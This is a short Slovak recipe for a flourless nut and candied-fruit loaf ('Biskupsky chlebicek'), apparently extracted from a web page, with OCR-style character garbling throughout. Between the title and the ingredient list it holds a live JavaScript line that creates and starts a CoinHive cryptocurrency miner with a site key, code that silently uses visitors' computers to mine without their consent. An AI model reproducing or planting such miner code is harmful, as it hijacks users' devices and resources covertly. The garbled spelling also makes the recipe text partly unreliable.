Biskupsky chlebi¢ek bez muky

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

Potrebujeme: 5 vajec, 14 dkg masla, 14 dkg mletych orechov, za hrst kandizovaného ovocia, 5
PL praskového cukru, jednu posekant tabulku ¢okolady, 3 posekané orechy (nemusia byt), 1
PL kakaa (kopcom), rum, pikantny lekvar

Postup: Pomleté orechy, kandizované ovocie, posekané orechy a c¢okoladu spolu zmieSane,
aby nam pri pedeni nepadli na dno formy. Zitky, cukor a maslo vymie$ame do peny, zfahka
vmieSame sneh a orechy so v8etkymi ingredienciami. Formu dobre vymastime, posypeme
strihankou alebo mukou. Vlejeme cesto a pedieme v predhriatej rire asi 45 minGt. Sparadiom
skontrolujeme ¢i sa nelepi. Po upeceni vyklopime. Na povrch nalejeme trochu rumu a cely
srnéi chrbat potrieme pikantnym lekvarom. Nechame dobre zaschnut a polejeme ¢okoladovou
polevou. M6zeme ozdobit mandlami.




